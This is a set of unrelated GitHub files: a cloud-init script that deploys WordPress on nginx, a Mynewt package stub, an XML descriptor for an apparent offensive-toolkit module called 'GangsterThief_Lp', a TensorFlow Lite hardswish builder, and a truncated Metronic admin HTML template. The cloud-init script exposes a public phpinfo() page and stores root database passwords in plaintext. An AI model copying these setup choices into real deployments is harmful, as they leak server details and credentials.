log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Load modular configuration files from the /etc/nginx/conf.d directory.
# See http://nginx.org/en/docs/ngx_core_module.html#include
# for more information.
include /etc/nginx/conf.d/*.conf;
}
- path: /etc/nginx/conf.d/default.conf
content: |
server {
listen 80 default_server;
listen [::]:80 default_server ipv6only=on;
root /var/www/html;
index index.php index.html index.htm;
server_name localhost;
location / {
try_files $uri $uri/ /index.php?$args;
# Uncomment to enable naxsi on this location
# include /etc/nginx/naxsi.rules
}
error_page 404 /404.html;
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
- path: /var/www/html/info.php
content: |
<?php
phpinfo();
?>
runcmd:
- yum -y install epel-release
- yum -y install unzip nginx php-fpm php-mysql mariadb-server mariadb
- wget https://wordpress.org/latest.zip -O /tmp/wordpress.zip
- unzip /tmp/wordpress.zip -d /tmp/
- cp /tmp/wordpress/wp-config-sample.php /tmp/wordpress/wp-config.php
- ROOTMYSQLPASS=`dd if=/dev/urandom bs=1 count=12 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev`
- WPMYSQLPASS=`dd if=/dev/urandom bs=1 count=12 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev`
- echo "Root MySQL Password $ROOTMYSQLPASS" > /root/passwords.txt
- echo "Wordpress MySQL Password $WPMYSQLPASS" >> /root/passwords.txt
- sed -i -e "s/database_name_here/wordpress/" /tmp/wordpress/wp-config.php
- sed -i -e "s/username_here/wordpress/" /tmp/wordpress/wp-config.php
- sed -i -e "s/password_here/$WPMYSQLPASS/" /tmp/wordpress/wp-config.php
- for i in `seq 1 8`; do wp_salt=$(</dev/urandom tr -dc 'a-zA-Z0-9!@#$%^&*()\-_ []{}<>~`+=,.;:/?|' | head -c 64 | sed -e 's/[\/&]/\\&/g'); sed -i "0,/put your unique phrase here/s/put your unique phrase here/$wp_salt/" /tmp/wordpress/wp-config.php; done
- systemctl enable mariadb
- systemctl start mariadb
- /usr/bin/mysqladmin -u root -h localhost create wordpress
- /usr/bin/mysqladmin -u root -h localhost password $ROOTMYSQLPASS
- /usr/bin/mysql -uroot -p$ROOTMYSQLPASS -e "CREATE USER wordpress@localhost IDENTIFIED BY '"$WPMYSQLPASS"'"
- /usr/bin/mysql -uroot -p$ROOTMYSQLPASS -e "GRANT ALL PRIVILEGES ON wordpress.* TO wordpress@localhost"
- mkdir -p /var/www/html
- sed -i -e "s/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/" /etc/php.ini
- sed -i -e "s|listen = 127.0.0.1:9000|listen = /var/run/php-fpm/php-fpm.sock|" /etc/php-fpm.d/www.conf
- sed -i -e "s|user = apache|user = nginx|" /etc/php-fpm.d/www.conf
- sed -i -e "s|group = apache|group = nginx|" /etc/php-fpm.d/www.conf
- cp -Rf /tmp/wordpress/* /var/www/html/.
- chown -Rf nginx.nginx /var/www/html/*
- rm -f /var/www/html/index.html
- rm -Rf /tmp/wordpress*
- systemctl start php-fpm
- systemctl enable php-fpm.service
- systemctl enable nginx.service
- systemctl restart nginx
|
{
"pile_set_name": "Github"
}
|
### Package: targets/nrf52_blinky
pkg.name: "targets/nrf52_blinky"
pkg.type: "target"
pkg.description:
pkg.author:
pkg.homepage:
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Module name="GangsterThief_Lp" id="510">
<Interfaces>
<Interface provider="0x0101006e" id="0x01c10032"/>
</Interfaces>
<Dependencies>
<Local>1510</Local>
<Remote>310</Remote>
</Dependencies>
<Lp>Yes</Lp>
<Implant>No</Implant>
<Architecture type="i386">
<Platform family="windows_nt">
<Version other="*" minor="*" major="*">
<File loadtype="file">i386-winnt-vc9s/release/GangsterThief_Lp.dll</File>
</Version>
</Platform>
</Architecture>
</Module>
|
{
"pile_set_name": "Github"
}
|
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/lite/experimental/delegates/coreml/builders/hardswish_op_builder.h"
#include "tensorflow/lite/c/builtin_op_data.h"
#include "tensorflow/lite/c/common.h"
#include "tensorflow/lite/experimental/delegates/coreml/builders/add_op_builder.h"
#include "tensorflow/lite/experimental/delegates/coreml/builders/mul_op_builder.h"
#include "tensorflow/lite/experimental/delegates/coreml/builders/op_factory.h"
namespace tflite {
namespace delegates {
namespace coreml {
const char* HardSwishOpBuilder::DebugName() {
if (!str_debug_name_[0])
GetDebugName("HardSwishOpBuilder", node_id_, str_debug_name_);
return str_debug_name_;
}
CoreML::Specification::NeuralNetworkLayer* HardSwishOpBuilder::Build() {
layer_->set_name(DebugName());
layer_->mutable_multiply()->set_alpha(1.0f / 6.0f);
return layer_.release();
}
TfLiteStatus HardSwishOpBuilder::PopulateSubgraph(TfLiteContext* context) {
// hswish(x) = (x/6) * ReLU6(x+3). main layer_ contains the first part, x/6.
// ReLU6(x +3) constructed as add op with fused ReLU6 activation.
AddOpBuilder* add_builder = reinterpret_cast<AddOpBuilder*>(
graph_builder_->AddBuilder(CreateAddOpBuilder, nullptr));
TfLiteAddParams add_param{kTfLiteActRelu6};
add_builder->SetBuiltinData(&add_param);
add_builder->SetAlpha(3.0f);
add_builder->AddInput(layer_->input(0));
add_builder->PopulateSubgraph(context);
// multiplies (x/6) from main layer_ and ReLU6(x+3) from the above code.
MulOpBuilder* mul_builder = reinterpret_cast<MulOpBuilder*>(
graph_builder_->AddBuilder(CreateMulOpBuilder, nullptr));
mul_builder->AddInput(AddOutput());
mul_builder->AddInput(add_builder->GetOutput(context));
builder_output_ = mul_builder->AddOutput();
return kTfLiteOk;
}
TfLiteStatus HardSwishOpBuilder::RegisterInputs(const TfLiteIntArray* inputs,
TfLiteContext* context) {
if (inputs->size != 1) {
TF_LITE_KERNEL_LOG(context, "Wrong # of inputs to hardswish!.");
return kTfLiteError;
}
AddInput(inputs->data[0]);
return kTfLiteOk;
}
TfLiteStatus HardSwishOpBuilder::RegisterOutputs(const TfLiteIntArray* outputs,
TfLiteContext* context) {
if (outputs->size != 1) {
TF_LITE_KERNEL_LOG(context, "Wrong # of outputs to hardswish!.");
return kTfLiteError;
}
TensorID output_tensor = GetOutput(context);
if (output_tensor.NodeID() == -1) {
TF_LITE_KERNEL_LOG(context, "Failed to build output tensor.");
return kTfLiteError;
}
graph_builder_->AddTensorWithID(outputs->data[0], output_tensor);
return kTfLiteOk;
}
OpBuilder* CreateHardSwishOpBuilder(GraphBuilder* graph_builder) {
return new HardSwishOpBuilder(graph_builder);
}
} // namespace coreml
} // namespace delegates
} // namespace tflite
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<!--
Template Name: Metronic - Responsive Admin Dashboard Template build with Twitter Bootstrap 3.3.2
Version: 3.7.0
Author: KeenThemes
Website: http://www.keenthemes.com/
Contact: support@keenthemes.com
Follow: www.twitter.com/keenthemes
Like: www.facebook.com/keenthemes
Purchase: http://themeforest.net/item/metronic-responsive-admin-dashboard-template/4021469?ref=keenthemes
License: You must have a valid license purchased only from themeforest(the above link) in order to legally use the theme for your project.
-->
<!--[if IE 8]> <html lang="en" class="ie8 no-js"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie9 no-js"> <![endif]-->
<!--[if !IE]><!-->
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<head>
<meta charset="utf-8"/>
<title>Metronic | UI Features - Alerts & Dialogs API</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta content="" name="description"/>
<meta content="" name="author"/>
<!-- BEGIN GLOBAL MANDATORY STYLES -->
<link href="http://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700&subset=all" rel="stylesheet" type="text/css">
<link href="../../assets/global/plugins/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="../../assets/global/plugins/simple-line-icons/simple-line-icons.min.css" rel="stylesheet" type="text/css">
<link href="../../assets/global/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="../../assets/global/plugins/uniform/css/uniform.default.css" rel="stylesheet" type="text/css">
<link href="../../assets/global/plugins/bootstrap-switch/css/bootstrap-switch.min.css" rel="stylesheet" type="text/css"/>
<!-- END GLOBAL MANDATORY STYLES -->
<!-- BEGIN THEME STYLES -->
<link href="../../assets/global/css/components-md.css" id="style_components" rel="stylesheet" type="text/css"/>
<link href="../../assets/global/css/plugins-md.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/admin/layout2/css/layout.css" rel="stylesheet" type="text/css"/>
<link id="style_color" href="../../assets/admin/layout2/css/themes/grey.css" rel="stylesheet" type="text/css"/>
<link href="../../assets/admin/layout2/css/custom.css" rel="stylesheet" type="text/css"/>
<!-- END THEME STYLES -->
<link rel="shortcut icon" href="favicon.ico"/>
</head>
<!-- END HEAD -->
<!-- BEGIN BODY -->
<!-- DOC: Apply "page-header-fixed-mobile" and "page-footer-fixed-mobile" class to body element to force fixed header or footer in mobile devices -->
<!-- DOC: Apply "page-sidebar-closed" class to the body and "page-sidebar-menu-closed" class to the sidebar menu element to hide the sidebar by default -->
<!-- DOC: Apply "page-sidebar-hide" class to the body to make the sidebar completely hidden on toggle -->
<!-- DOC: Apply "page-sidebar-closed-hide-logo" class to the body element to make the logo hidden on sidebar toggle -->
<!-- DOC: Apply "page-sidebar-hide" class to body element to completely hide the sidebar on sidebar toggle -->
<!-- DOC: Apply "page-sidebar-fixed" class to have fixed sidebar -->
<!-- DOC: Apply "page-footer-fixed" class to the body element to have fixed footer -->
<!-- DOC: Apply "page-sidebar-reversed" class to put the sidebar on the right side -->
<!-- DOC: Apply "page-full-width" class to the body element to have full width page without the sidebar menu -->
<body class="page-md page-boxed page-header-fixed page-container-bg-solid page-sidebar-closed-hide-logo ">
<!-- BEGIN HEADER -->
<div class="page-header md-shadow-z-1-i navbar navbar-fixed-top">
<!-- BEGIN HEADER INNER -->
<div class="page-header-inner container">
<!-- BEGIN LOGO -->
<div class="page-logo">
<a href="index.html">
<img src="../../assets/admin/layout2/img/logo-default.png" alt="logo" class="logo-default"/>
</a>
<div class="menu-toggler sidebar-toggler">
<!-- DOC: Remove the above "hide" to enable the sidebar toggler button on header -->
</div>
</div>
<!-- END LOGO -->
<!-- BEGIN RESPONSIVE MENU TOGGLER -->
<a href="javascript:;" class="menu-toggler responsive-toggler" data-toggle="collapse" data-target=".navbar-collapse">
</a>
<!-- END RESPONSIVE MENU TOGGLER -->
<!-- BEGIN PAGE ACTIONS -->
<!-- DOC: Remove "hide" class to enable the page header actions -->
<div class="page-actions hide">
<div class="btn-group">
<button type="button" class="btn btn-circle red-pink dropdown-toggle" data-toggle="dropdown">
<i class="icon-bar-chart"></i> <span class="hidden-sm hidden-xs">New </span> <i class="fa fa-angle-down"></i>
</button>
<ul class="dropdown-menu" role="menu">
<li>
<a href="javascript:;">
<i class="icon-user"></i> New User </a>
</li>
<li>
<a href="javascript:;">
<i class="icon-present"></i> New Event <span class="badge badge-success">4</span>
</a>
</li>
<li>
<a href="javascript:;">
<i class="icon-basket"></i> New order </a>
</li>
<li class="divider">
</li>
<li>
<a href="javascript:;">
<i class="icon-flag"></i> Pending Orders <span class="badge badge-danger">4</span>
</a>
</li>
<li>
<a href="javascript:;">
<i class="icon-users"></i> Pending Users <span class="badge badge-warning">12</span>
</a>
</li>
</ul>
</div>
<div class="btn-group">
<button type="button" class="btn btn-circle green-haze dropdown-toggle" data-toggle="dropdown">
<i class="icon-bell"></i> <span class="hidden-sm hidden-xs">Post </span> <i class="fa fa-angle-down"></i>
</button>
<ul class="dropdown-menu" role="menu">
<li>
<a href="javascript:;">
<i class="icon-docs"></i> New Post </a>
</li>
<li>
<a href="javascript:;">
<i class="icon-tag"></i> New Comment </a>
</li>
<li>
<a href="javascript:;">
<i class="icon-share"></i> Share </a>
</li>
<li class="divider">
</li>
<li>
<a href="javascript:;">
<i class="icon-flag"></i> Comments <span class="badge badge-success">4</span>
</a>
</li>
<li>
<a href="javascript:;">
<i class="icon-users"></i> Feedbacks <span class="badge badge-danger">2</span>
</a>
</li>
</ul>
</div>
</div>
<!-- END PAGE ACTIONS -->
<!-- BEGIN PAGE TOP -->
<div class="page-top">
<!-- BEGIN HEADER SEARCH BOX -->
<!-- DOC: Apply "search-form-expanded" right after the "search-form" class to have half expanded search box -->
<form class="search-form search-form-expanded" action="extra_search.html" method="GET">
<div class="input-group">
<input type="text" class="form-control" placeholder="Search..." name="query">
<span class="input-group-btn">
<a href="javascript:;" class="btn submit"><i class="icon-magnifier"></i></a>
</span>
</div>
</form>
<!-- END HEADER SEARCH BOX -->
<!-- BEGIN TOP NAVIGATION MENU -->
<div class="top-menu">
<ul class="nav navbar-nav pull-right">
<!-- BEGIN NOTIFICATION DROPDOWN -->
<!-- DOC: Apply "dropdown-dark" class after below "dropdown-extended" to change the dropdown styte -->
<li class="dropdown dropdown-extended dropdown-notification" id="header_notification_bar">
<a href="javascript:;" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true">
<i class="icon-bell"></i>
<span class="badge badge-default">
7 </span>
</a>
<ul class="dropdown-menu">
<li class="external">
<h3><span class="bold">12 pending</span> notifications</h3>
<a href="extra_profile.html">view all</a>
</li>
<li>
<ul class="dropdown-menu-list scroller" style="height: 250px;" data-handle-color="#637283">
<li>
<a href="javascript:;">
<span class="time">just now</span>
<span class="details">
<span class="label label-sm label-icon label-success">
<i class="fa fa-plus"></i>
</span>
New user registered. </span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="time">3 mins</span>
<span class="details">
<span class="label label-sm label-icon label-danger">
<i class="fa fa-bolt"></i>
</span>
Server #12 overloaded. </span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="time">10 mins</span>
<span class="details">
<span class="label label-sm label-icon label-warning">
<i class="fa fa-bell-o"></i>
</span>
Server #2 not responding. </span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="time">14 hrs</span>
<span class="details">
<span class="label label-sm label-icon label-info">
<i class="fa fa-bullhorn"></i>
</span>
Application error. </span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="time">2 days</span>
<span class="details">
<span class="label label-sm label-icon label-danger">
<i class="fa fa-bolt"></i>
</span>
Database overloaded 68%. </span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="time">3 days</span>
<span class="details">
<span class="label label-sm label-icon label-danger">
<i class="fa fa-bolt"></i>
</span>
A user IP blocked. </span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="time">4 days</span>
<span class="details">
<span class="label label-sm label-icon label-warning">
<i class="fa fa-bell-o"></i>
</span>
Storage Server #4 not responding dfdfdfd. </span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="time">5 days</span>
<span class="details">
<span class="label label-sm label-icon label-info">
<i class="fa fa-bullhorn"></i>
</span>
System Error. </span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="time">9 days</span>
<span class="details">
<span class="label label-sm label-icon label-danger">
<i class="fa fa-bolt"></i>
</span>
Storage server failed. </span>
</a>
</li>
</ul>
</li>
</ul>
</li>
<!-- END NOTIFICATION DROPDOWN -->
<!-- BEGIN INBOX DROPDOWN -->
<!-- DOC: Apply "dropdown-dark" class after below "dropdown-extended" to change the dropdown styte -->
<li class="dropdown dropdown-extended dropdown-inbox" id="header_inbox_bar">
<a href="javascript:;" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true">
<i class="icon-envelope-open"></i>
<span class="badge badge-default">
4 </span>
</a>
<ul class="dropdown-menu">
<li class="external">
<h3>You have <span class="bold">7 New</span> Messages</h3>
<a href="page_inbox.html">view all</a>
</li>
<li>
<ul class="dropdown-menu-list scroller" style="height: 275px;" data-handle-color="#637283">
<li>
<a href="inbox.html?a=view">
<span class="photo">
<img src="../../assets/admin/layout3/img/avatar2.jpg" class="img-circle" alt="">
</span>
<span class="subject">
<span class="from">
Lisa Wong </span>
<span class="time">Just Now </span>
</span>
<span class="message">
Vivamus sed auctor nibh congue nibh. auctor nibh auctor nibh... </span>
</a>
</li>
<li>
<a href="inbox.html?a=view">
<span class="photo">
<img src="../../assets/admin/layout3/img/avatar3.jpg" class="img-circle" alt="">
</span>
<span class="subject">
<span class="from">
Richard Doe </span>
<span class="time">16 mins </span>
</span>
<span class="message">
Vivamus sed congue nibh auctor nibh congue nibh. auctor nibh auctor nibh... </span>
</a>
</li>
<li>
<a href="inbox.html?a=view">
<span class="photo">
<img src="../../assets/admin/layout3/img/avatar1.jpg" class="img-circle" alt="">
</span>
<span class="subject">
<span class="from">
Bob Nilson </span>
<span class="time">2 hrs </span>
</span>
<span class="message">
Vivamus sed nibh auctor nibh congue nibh. auctor nibh auctor nibh... </span>
</a>
</li>
<li>
<a href="inbox.html?a=view">
<span class="photo">
<img src="../../assets/admin/layout3/img/avatar2.jpg" class="img-circle" alt="">
</span>
<span class="subject">
<span class="from">
Lisa Wong </span>
<span class="time">40 mins </span>
</span>
<span class="message">
Vivamus sed auctor 40% nibh congue nibh... </span>
</a>
</li>
<li>
<a href="inbox.html?a=view">
<span class="photo">
<img src="../../assets/admin/layout3/img/avatar3.jpg" class="img-circle" alt="">
</span>
<span class="subject">
<span class="from">
Richard Doe </span>
<span class="time">46 mins </span>
</span>
<span class="message">
Vivamus sed congue nibh auctor nibh congue nibh. auctor nibh auctor nibh... </span>
</a>
</li>
</ul>
</li>
</ul>
</li>
<!-- END INBOX DROPDOWN -->
<!-- BEGIN TODO DROPDOWN -->
<!-- DOC: Apply "dropdown-dark" class after below "dropdown-extended" to change the dropdown styte -->
<li class="dropdown dropdown-extended dropdown-tasks" id="header_task_bar">
<a href="javascript:;" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true">
<i class="icon-calendar"></i>
<span class="badge badge-default">
3 </span>
</a>
<ul class="dropdown-menu extended tasks">
<li class="external">
<h3>You have <span class="bold">12 pending</span> tasks</h3>
<a href="page_todo.html">view all</a>
</li>
<li>
<ul class="dropdown-menu-list scroller" style="height: 275px;" data-handle-color="#637283">
<li>
<a href="javascript:;">
<span class="task">
<span class="desc">New release v1.2 </span>
<span class="percent">30%</span>
</span>
<span class="progress">
<span style="width: 40%;" class="progress-bar progress-bar-success" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100"><span class="sr-only">40% Complete</span></span>
</span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="task">
<span class="desc">Application deployment</span>
<span class="percent">65%</span>
</span>
<span class="progress">
<span style="width: 65%;" class="progress-bar progress-bar-danger" aria-valuenow="65" aria-valuemin="0" aria-valuemax="100"><span class="sr-only">65% Complete</span></span>
</span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="task">
<span class="desc">Mobile app release</span>
<span class="percent">98%</span>
</span>
<span class="progress">
<span style="width: 98%;" class="progress-bar progress-bar-success" aria-valuenow="98" aria-valuemin="0" aria-valuemax="100"><span class="sr-only">98% Complete</span></span>
</span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="task">
<span class="desc">Database migration</span>
<span class="percent">10%</span>
</span>
<span class="progress">
<span style="width: 10%;" class="progress-bar progress-bar-warning" aria-valuenow="10" aria-valuemin="0" aria-valuemax="100"><span class="sr-only">10% Complete</span></span>
</span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="task">
<span class="desc">Web server upgrade</span>
<span class="percent">58%</span>
</span>
<span class="progress">
<span style="width: 58%;" class="progress-bar progress-bar-info" aria-valuenow="58" aria-valuemin="0" aria-valuemax="100"><span class="sr-only">58% Complete</span></span>
</span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="task">
<span class="desc">Mobile development</span>
<span class="percent">85%</span>
</span>
<span class="progress">
<span style="width: 85%;" class="progress-bar progress-bar-success" aria-valuenow="85" aria-valuemin="0" aria-valuemax="100"><span class="sr-only">85% Complete</span></span>
</span>
</a>
</li>
<li>
<a href="javascript:;">
<span class="task">
<span class="desc">New UI release</span>
<span class="percent">38%</span>
</span>
<span class="progress progress-striped">
<span style="width: 38%;" class="progress-bar progress-bar-important" aria-valuenow="18" aria-valuemin="0" aria-valuemax="100"><span class="sr-only">38% Complete</span></span>
</span>
</a>
</li>
</ul>
</li>
</ul>
</li>
<!-- END TODO DROPDOWN -->
<!-- BEGIN USER LOGIN DROPDOWN -->
<!-- DOC: Apply "dropdown-dark" class after below "dropdown-extended" to change the dropdown styte -->
<li class="dropdown dropdown-user">
<a href="javascript:;" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true">
<img alt="" class="img-circle" src="../../assets/admin/layout2/img/avatar3_small.jpg"/>
<span class="username username-hide-on-mobile">
Nick </span>
<i class="fa fa-angle-down"></i>
</a>
<ul class="dropdown-menu dropdown-menu-default">
<li>
<a href="extra_profile.html">
<i class="icon-user"></i> My Profile </a>
</li>
<li>
<a href="page_calendar.html">
<i class="icon-calendar"></i> My Calendar </a>
</li>
<li>
<a href="inbox.html">
<i class="icon-envelope-open"></i> My Inbox <span class="badge badge-danger">
3 </span>
</a>
</li>
<li>
<a href="page_todo.html">
<i class="icon-rocket"></i> My Tasks <span class="badge badge-success">
7 </span>
</a>
</li>
<li class="divider">
</li>
<li>
<a href="extra_lock.html">
<i class="icon-lock"></i> Lock Screen </a>
</li>
<li>
<a href="login.html">
<i class="icon-key"></i> Log Out </a>
</li>
</ul>
</li>
<!-- END USER LOGIN DROPDOWN -->
</ul>
</div>
<!-- END TOP NAVIGATION MENU -->
</div>
<!-- END PAGE TOP -->
</div>
<!-- END HEADER INNER -->
</div>
<!-- END HEADER -->
<div class="clearfix">
</div>
<div class="container">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN SIDEBAR -->
<div class="page-sidebar-wrapper">
<!-- DOC: Set data-auto-scroll="false" to disable the sidebar from auto scrolling/focusing -->
<!-- DOC: Change data-auto-speed="200" to adjust the sub menu slide up/down speed -->
<div class="page-sidebar navbar-collapse collapse">
<!-- BEGIN SIDEBAR MENU -->
<!-- DOC: Apply "page-sidebar-menu-light" class right after "page-sidebar-menu" to enable light sidebar menu style(without borders) -->
<!-- DOC: Apply "page-sidebar-menu-hover-submenu" class right after "page-sidebar-menu" to enable hoverable(hover vs accordion) sub menu mode -->
<!-- DOC: Apply "page-sidebar-menu-closed" class right after "page-sidebar-menu" to collapse("page-sidebar-closed" class must be applied to the body element) the sidebar sub menu mode -->
<!-- DOC: Set data-auto-scroll="false" to disable the sidebar from auto scrolling/focusing -->
<!-- DOC: Set data-keep-expand="true" to keep the submenues expanded -->
<!-- DOC: Set data-auto-speed="200" to adjust the sub menu slide up/down speed -->
<ul class="page-sidebar-menu page-sidebar-menu-hover-submenu " data-keep-expanded="false" data-auto-scroll="true" data-slide-speed="200">
<li class="start ">
<a href="index.html">
<i class="icon-home"></i>
<span class="title">Dashboard</span>
</a>
</li>
<li>
<a href="javascript:;">
<i class="icon-basket"></i>
<span class="title">eCommerce</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="ecommerce_index.html">
<i class="icon-home"></i>
Dashboard</a>
</li>
<li>
<a href="ecommerce_orders.html">
<i class="icon-basket"></i>
Orders</a>
</li>
<li>
<a href="ecommerce_orders_view.html">
<i class="icon-tag"></i>
Order View</a>
</li>
<li>
<a href="ecommerce_products.html">
<i class="icon-handbag"></i>
Products</a>
</li>
<li>
<a href="ecommerce_products_edit.html">
<i class="icon-pencil"></i>
Product Edit</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-rocket"></i>
<span class="title">Page Layouts</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="layout_fontawesome_icons.html">
<span class="badge badge-roundless badge-danger">new</span>Layout with Fontawesome Icons</a>
</li>
<li>
<a href="layout_glyphicons.html">
Layout with Glyphicon</a>
</li>
<li>
<a href="layout_full_height_content.html">
<span class="badge badge-roundless badge-warning">new</span>Full Height Content</a>
</li>
<li>
<a href="layout_sidebar_reversed.html">
<span class="badge badge-roundless badge-warning">new</span>Right Sidebar Page</a>
</li>
<li>
<a href="layout_sidebar_fixed.html">
Sidebar Fixed Page</a>
</li>
<li>
<a href="layout_sidebar_closed.html">
Sidebar Closed Page</a>
</li>
<li>
<a href="layout_ajax.html">
Content Loading via Ajax</a>
</li>
<li>
<a href="layout_disabled_menu.html">
Disabled Menu Links</a>
</li>
<li>
<a href="layout_blank_page.html">
Blank Page</a>
</li>
<li>
<a href="layout_fluid_page.html">
Fluid Page</a>
</li>
<li>
<a href="layout_language_bar.html">
Language Switch Bar</a>
</li>
</ul>
</li>
<li class="active open">
<a href="javascript:;">
<i class="icon-diamond"></i>
<span class="title">UI Features</span>
<span class="selected"></span>
<span class="arrow open"></span>
</a>
<ul class="sub-menu">
<li>
<a href="ui_general.html">
General Components</a>
</li>
<li>
<a href="ui_buttons.html">
Buttons</a>
</li>
<li>
<a href="ui_icons.html">
<span class="badge badge-roundless badge-danger">new</span>Font Icons</a>
</li>
<li>
<a href="ui_colors.html">
Flat UI Colors</a>
</li>
<li>
<a href="ui_typography.html">
Typography</a>
</li>
<li>
<a href="ui_tabs_accordions_navs.html">
Tabs, Accordions & Navs</a>
</li>
<li>
<a href="ui_tree.html">
<span class="badge badge-roundless badge-danger">new</span>Tree View</a>
</li>
<li>
<a href="ui_page_progress_style_1.html">
<span class="badge badge-roundless badge-warning">new</span>Page Progress Bar</a>
</li>
<li>
<a href="ui_blockui.html">
Block UI</a>
</li>
<li>
<a href="ui_bootstrap_growl.html">
<span class="badge badge-roundless badge-warning">new</span>Bootstrap Growl Notifications</a>
</li>
<li>
<a href="ui_notific8.html">
Notific8 Notifications</a>
</li>
<li>
<a href="ui_toastr.html">
Toastr Notifications</a>
</li>
<li class="active">
<a href="ui_alert_dialog_api.html">
<span class="badge badge-roundless badge-danger">new</span>Alerts & Dialogs API</a>
</li>
<li>
<a href="ui_session_timeout.html">
Session Timeout</a>
</li>
<li>
<a href="ui_idle_timeout.html">
User Idle Timeout</a>
</li>
<li>
<a href="ui_modals.html">
Modals</a>
</li>
<li>
<a href="ui_extended_modals.html">
Extended Modals</a>
</li>
<li>
<a href="ui_tiles.html">
Tiles</a>
</li>
<li>
<a href="ui_datepaginator.html">
<span class="badge badge-roundless badge-success">new</span>Date Paginator</a>
</li>
<li>
<a href="ui_nestable.html">
Nestable List</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-puzzle"></i>
<span class="title">UI Components</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="components_pickers.html">
Date & Time Pickers</a>
</li>
<li>
<a href="components_context_menu.html">
Context Menu</a>
</li>
<li>
<a href="components_dropdowns.html">
Custom Dropdowns</a>
</li>
<li>
<a href="components_form_tools.html">
Form Widgets & Tools</a>
</li>
<li>
<a href="components_form_tools2.html">
Form Widgets & Tools 2</a>
</li>
<li>
<a href="components_editors.html">
Markdown & WYSIWYG Editors</a>
</li>
<li>
<a href="components_ion_sliders.html">
Ion Range Sliders</a>
</li>
<li>
<a href="components_noui_sliders.html">
NoUI Range Sliders</a>
</li>
<li>
<a href="components_jqueryui_sliders.html">
jQuery UI Sliders</a>
</li>
<li>
<a href="components_knob_dials.html">
Knob Circle Dials</a>
</li>
</ul>
</li>
<!-- BEGIN ANGULARJS LINK -->
<li class="tooltips" data-container="body" data-placement="right" data-html="true" data-original-title="AngularJS version demo">
<a href="angularjs" target="_blank">
<i class="icon-paper-plane"></i>
<span class="title">
AngularJS Version </span>
</a>
</li>
<!-- END ANGULARJS LINK -->
<li>
<a href="javascript:;">
<i class="icon-settings"></i>
<span class="title">Form Stuff</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="form_controls_md.html">
<span class="badge badge-roundless badge-danger">new</span>Material Design<br>
Form Controls</a>
</li>
<li>
<a href="form_controls.html">
Bootstrap<br>
Form Controls</a>
</li>
<li>
<a href="form_icheck.html">
iCheck Controls</a>
</li>
<li>
<a href="form_layouts.html">
Form Layouts</a>
</li>
<li>
<a href="form_editable.html">
<span class="badge badge-roundless badge-warning">new</span>Form X-editable</a>
</li>
<li>
<a href="form_wizard.html">
Form Wizard</a>
</li>
<li>
<a href="form_validation.html">
Form Validation</a>
</li>
<li>
<a href="form_image_crop.html">
<span class="badge badge-roundless badge-danger">new</span>Image Cropping</a>
</li>
<li>
<a href="form_fileupload.html">
Multiple File Upload</a>
</li>
<li>
<a href="form_dropzone.html">
Dropzone File Upload</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-briefcase"></i>
<span class="title">Data Tables</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="table_basic.html">
Basic Datatables</a>
</li>
<li>
